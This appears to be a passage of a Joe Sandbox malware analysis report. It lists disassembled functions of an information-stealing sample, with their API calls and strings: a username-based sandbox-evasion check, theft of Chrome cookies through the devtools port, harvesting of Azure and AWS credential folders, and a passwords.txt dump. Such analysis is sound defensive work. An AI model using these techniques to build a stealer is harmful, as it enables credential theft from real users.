Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$lstrlen$HeapPointer$AllocBinaryCloseCreateCryptHandleProcessReadSizeString_memmove_memset
String ID: passwords.txt
API String ID: 1221571796-347816968
Opcode ID: 498754e0584a41d8368ccb035dc460eafadafb8fd4975662656f6cd2aa3164f2
Instruction ID: 7a637e0ec74a1e8c76659d5a995aee7843bc27b34cd615a4d08e2fe79418bf46
Opcode Fuzzy Hash: 498754e0584a41d8368ccb035dc460eafadafb8fd4975662656f6cd2aa3164f2
Instruction Fuzzy Hash: AC71913250015AAFCB217FB5FD4DCAF7B79EF59301B018014FB01A216ADBBA5901DBA1

Function 6CD50610 Relevance: 45.8, APIs: 17, Strings: 9, Instructions: 321libraryloaderstringCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6CD50650
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6CD50664
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6CD50696
GetProcAddress.KERNEL32(SymSetOptions), ref: 6CD506C5
GetProcAddress.KERNEL32(SymInitializeW), ref: 6CD506F5
GetCurrentProcess.KERNEL32 ref: 6CD50714
GetProcAddress.KERNEL32(SymGetSearchPathW), ref: 6CD50798
GetCurrentProcess.KERNEL32 ref: 6CD507AD
lstrlenW.KERNEL32(00000002), ref: 6CD507C2
GetCurrentProcessId.KERNEL32 ref: 6CD507F0
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 6CD5086C
CloseHandle.KERNEL32(00000000), ref: 6CD5088B
GetProcAddress.KERNEL32(EnumerateLoadedModulesW64), ref: 6CD50939
GetCurrentProcess.KERNEL32 ref: 6CD5094E
GetProcAddress.KERNEL32(SymSetSearchPathW), ref: 6CD509AD
GetCurrentProcess.KERNEL32 ref: 6CD509BE

Strings

Local\RustBacktraceMutex00000000, xrefs: 6CD507E2
EnumerateLoadedModulesW64, xrefs: 6CD5092E
SymSetOptions, xrefs: 6CD506BA
SymSetSearchPathW, xrefs: 6CD509A2
SymGetSearchPathW, xrefs: 6CD5078D
dbghelp.dll, xrefs: 6CD5065F
SymGetOptions, xrefs: 6CD50690
SymInitializeW, xrefs: 6CD506EA
assertion failed: len >= 0, xrefs: 6CD50A36

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AddressProc$CurrentProcess$CloseCreateHandleLibraryLoadMutexObjectSingleWaitlstrlen
String ID: EnumerateLoadedModulesW64$Local\RustBacktraceMutex00000000$SymGetOptions$SymGetSearchPathW$SymInitializeW$SymSetOptions$SymSetSearchPathW$assertion failed: len >= 0$dbghelp.dll
API String ID: 1912552845-356128008
Opcode ID: ca52cd8e5aeae1186085072b9ffcb16e0b9f5cd1c34c5fb6361b4d379bff246c
Instruction ID: cd2090854a92e4ae53a2b5a2bd5db9f1669bdca3f0e45e35b991e1c5eb57a374
Opcode Fuzzy Hash: ca52cd8e5aeae1186085072b9ffcb16e0b9f5cd1c34c5fb6361b4d379bff246c
Instruction Fuzzy Hash: B4C1D5B1E01298DBFF11CFB5C844BAE7BB8AB45798F144219E514BB790D7709804CFA0

Function 010045B7 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 010045BF
__mtterm.LIBCMT ref: 010045CB

Part of subcall function 0100428A: DecodePointer.KERNEL32(FFFFFFFF), ref: 0100429B
Part of subcall function 0100428A: TlsFree.KERNEL32(FFFFFFFF), ref: 010042B5

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 010045E1
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 010045EE
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 010045FB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 01004608
TlsAlloc.KERNEL32 ref: 01004658
TlsSetValue.KERNEL32(00000000), ref: 01004673
__init_pointers.LIBCMT ref: 0100467D
EncodePointer.KERNEL32 ref: 0100468E
EncodePointer.KERNEL32 ref: 0100469B
EncodePointer.KERNEL32 ref: 010046A8
EncodePointer.KERNEL32 ref: 010046B5
DecodePointer.KERNEL32(Function_0002440E), ref: 010046D6
__calloc_crt.LIBCMT ref: 010046EB
DecodePointer.KERNEL32(00000000), ref: 01004705
__initptd.LIBCMT ref: 01004710
GetCurrentThreadId.KERNEL32 ref: 01004717

Strings

KERNEL32.DLL, xrefs: 010045BA
FlsGetValue, xrefs: 010045E3
FlsFree, xrefs: 010045FD
FlsSetValue, xrefs: 010045F0
FlsAlloc, xrefs: 010045DB

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 58ec33fdfe7f33255ce4c58e93a501a751999ca52e8e22519b3d099cf9acb4ce
Instruction ID: f952325d3fa6103092665a52f113f6ca67c5f8d0be120b1a7203887f1db8fa1e
Opcode Fuzzy Hash: 58ec33fdfe7f33255ce4c58e93a501a751999ca52e8e22519b3d099cf9acb4ce
Instruction Fuzzy Hash: 12317F709013519FEB72AF79A9089063FE4BB4D261F01462BE6C4D7298EB7E8001DF49

Function 00FE8B56 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 229stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

CopyFileA.KERNEL32(?,?,00000001), ref: 00FE8BFB
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00FE8C50
HeapAlloc.KERNEL32(00000000), ref: 00FE8C57
lstrlenA.KERNEL32(?), ref: 00FE8CF1
lstrcatA.KERNEL32(?), ref: 00FE8D0A
lstrcatA.KERNEL32(?,?), ref: 00FE8D14
lstrcatA.KERNEL32(?,010161B4), ref: 00FE8D20
lstrcatA.KERNEL32(?,?), ref: 00FE8D2A
lstrcatA.KERNEL32(?,010161B8), ref: 00FE8D36
lstrcatA.KERNEL32(?), ref: 00FE8D43
lstrcatA.KERNEL32(?,?), ref: 00FE8D4D
lstrcatA.KERNEL32(?,010161BC), ref: 00FE8D59
lstrcatA.KERNEL32(?), ref: 00FE8D66
lstrcatA.KERNEL32(?,?), ref: 00FE8D70
lstrcatA.KERNEL32(?,010161C0), ref: 00FE8D7C
lstrcatA.KERNEL32(?), ref: 00FE8D89
lstrcatA.KERNEL32(?,?), ref: 00FE8D93
lstrcatA.KERNEL32(?,010161C4), ref: 00FE8D9F
lstrcatA.KERNEL32(?,010161C8), ref: 00FE8DAB
lstrlenA.KERNEL32(?), ref: 00FE8DE4
DeleteFileA.KERNEL32(?), ref: 00FE8E31

Strings

passwords.txt, xrefs: 00FE8DF4

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1139693110-347816968
Opcode ID: 68f50256d6731b91776bc66ab5a315dd31cf9fc75ee92d08ca46ba24eb4f767a
Instruction ID: e92b2b748d46392029810e59e3dcbde4b792e926c046a3c354fcd05b99a1c2c9
Opcode Fuzzy Hash: 68f50256d6731b91776bc66ab5a315dd31cf9fc75ee92d08ca46ba24eb4f767a
Instruction Fuzzy Hash: AD814832900108AFCF51BBA1FE0A9DE7B75BF18301F504021FB01B6166DB7A6E15EB95

Function 00FE1917 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00FE1A03
lstrcmpiA.KERNEL32(01019C70,?), ref: 00FE1A1E

Strings

test user, xrefs: 00FE19D1
virus, xrefs: 00FE19DB
WDAGUtilityAccount, xrefs: 00FE19EF
Sand box, xrefs: 00FE1945
milozs, xrefs: 00FE198B
HAPUBWS, xrefs: 00FE1959
Emily, xrefs: 00FE194F
Johnson, xrefs: 00FE1977
John Doe, xrefs: 00FE19E5
IT-ADMIN, xrefs: 00FE196D
user, xrefs: 00FE19A9
CurrentUser, xrefs: 00FE193B
Peter Wilson, xrefs: 00FE1995
timmy, xrefs: 00FE199F
Miller, xrefs: 00FE1981
sandbox, xrefs: 00FE19B3
malware, xrefs: 00FE19BD
maltest, xrefs: 00FE19C7
Hong Lee, xrefs: 00FE1963

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: 25540a6aa918b7f09bb8053e040dc8b692e900aab7aff8d6b8c20b25fba22f37
Instruction ID: 558a180c62e6b107e961c113c9346e59405f939dc38921f59f3b101f8bb89615
Opcode Fuzzy Hash: 25540a6aa918b7f09bb8053e040dc8b692e900aab7aff8d6b8c20b25fba22f37
Instruction Fuzzy Hash: 1421B3B190126C8BCB28DF55DC696DEBBF4AB4670CF4041D895C9AA208CB384A89DF81

Function 00FE8050 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 157stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE7ECC: InternetOpenA.WININET(WebSocketClient,00000001,00000000,00000000,00000000), ref: 00FE7EF4

Part of subcall function 00FEF3BD: memchr.MSVCRT ref: 00FEF426

Part of subcall function 00FEF54B: std::_Xinvalid_argument.LIBCPMT ref: 00FEF561

_memset.LIBCMT ref: 00FE80F5
lstrcatA.KERNEL32(?,ws://localhost:9223,?,10000000,?), ref: 00FE810F
lstrcatA.KERNEL32(?,?), ref: 00FE812A
connect_to_websocket.CHROME(?,?), ref: 00FE8140
_memset.LIBCMT ref: 00FE815D
lstrcatA.KERNEL32(?,Cookies), ref: 00FE8171
lstrcatA.KERNEL32(?,010160C8), ref: 00FE8183
lstrcatA.KERNEL32(?,?), ref: 00FE8196
lstrcatA.KERNEL32(?,010160CC), ref: 00FE81A8
lstrcatA.KERNEL32(?,?), ref: 00FE81BB
lstrcatA.KERNEL32(?,.txt), ref: 00FE81CD
lstrlenA.KERNEL32(?), ref: 00FE81D9
lstrlenA.KERNEL32(?), ref: 00FE81F7
_memset.LIBCMT ref: 00FE823F
free_result.CHROME(?), ref: 00FE824D

Strings

.txt, xrefs: 00FE81C1
/devtools, xrefs: 00FE80AF
ws://localhost:9223, xrefs: 00FE8103
Cookies, xrefs: 00FE8165
localhost, xrefs: 00FE808B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$lstrlen$InternetOpenXinvalid_argumentconnect_to_websocketfree_resultmemchrstd::_
String ID: .txt$/devtools$Cookies$localhost$ws://localhost:9223
API String ID: 2702209820-4155744131
Opcode ID: bb33eaf581800945ee7772bdfb6808caf60ffd76321f167929c6b7079c33649f
Instruction ID: c3f3592a99ed5d6214edfaa108fda15cb65aa06b2e17b8a14964f69fda60daed
Opcode Fuzzy Hash: bb33eaf581800945ee7772bdfb6808caf60ffd76321f167929c6b7079c33649f
Instruction Fuzzy Hash: 0A513C72D4066C9FCB21EBA5DC45ADBBB78BB08302F4044E5B208E7141EB759A888F50

Function 00FF669A Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF66BF

Part of subcall function 00FF1FDF: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00FF66DE
lstrcatA.KERNEL32(?,\.azure\), ref: 00FF66FB

Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF61F5
Part of subcall function 00FF61AE: FindFirstFileA.KERNEL32(?,?), ref: 00FF620C
Part of subcall function 00FF61AE: StrCmpCA.SHLWAPI(?,01015A9C), ref: 00FF622D
Part of subcall function 00FF61AE: StrCmpCA.SHLWAPI(?,01015AA0), ref: 00FF6247
Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF626E
Part of subcall function 00FF61AE: StrCmpCA.SHLWAPI(?,0101565D), ref: 00FF6282
Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF629F
Part of subcall function 00FF61AE: PathMatchSpecA.SHLWAPI(?,?), ref: 00FF62CC
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?), ref: 00FF6302
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,01015AB8), ref: 00FF6314
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,?), ref: 00FF6327
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,01015ABC), ref: 00FF6339
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,?), ref: 00FF634D

_memset.LIBCMT ref: 00FF6733
lstrcatA.KERNEL32(?,00000000), ref: 00FF6755
lstrcatA.KERNEL32(?,\.aws\), ref: 00FF6772

Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF62B6
Part of subcall function 00FF61AE: CopyFileA.KERNEL32(?,?,00000001), ref: 00FF6406
Part of subcall function 00FF61AE: DeleteFileA.KERNEL32(?), ref: 00FF647A
Part of subcall function 00FF61AE: FindNextFileA.KERNEL32(?,?), ref: 00FF64DC
Part of subcall function 00FF61AE: FindClose.KERNEL32(?), ref: 00FF64F0

_memset.LIBCMT ref: 00FF67A7
lstrcatA.KERNEL32(?,00000000), ref: 00FF67C9
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00FF67E6
_memset.LIBCMT ref: 00FF681B

Strings

\.IdentityService\, xrefs: 00FF67DA
\.azure\, xrefs: 00FF66EF
*.*, xrefs: 00FF6787
Azure\.azure, xrefs: 00FF670E
\.aws\, xrefs: 00FF6766
Azure\.IdentityService, xrefs: 00FF67F6
Azure\.aws, xrefs: 00FF6782
msal.cache, xrefs: 00FF67FB
*.*, xrefs: 00FF6713

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: 8bc55519e57f1a2f5b2e78faa2e323bbd28bd96eafea6c2fb117b1b4b42a399c
Instruction ID: a36a0b18011254f405154bfe9fb5284f84f87da17fc56ce6efd6e98f4408b89f
Opcode Fuzzy Hash: 8bc55519e57f1a2f5b2e78faa2e323bbd28bd96eafea6c2fb117b1b4b42a399c
Instruction Fuzzy Hash: 6141837298021C6FDB24EB61EC4BFEE737CBF09700F440495B744EA195EAB89A849F50

Function 00FEAD1F Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

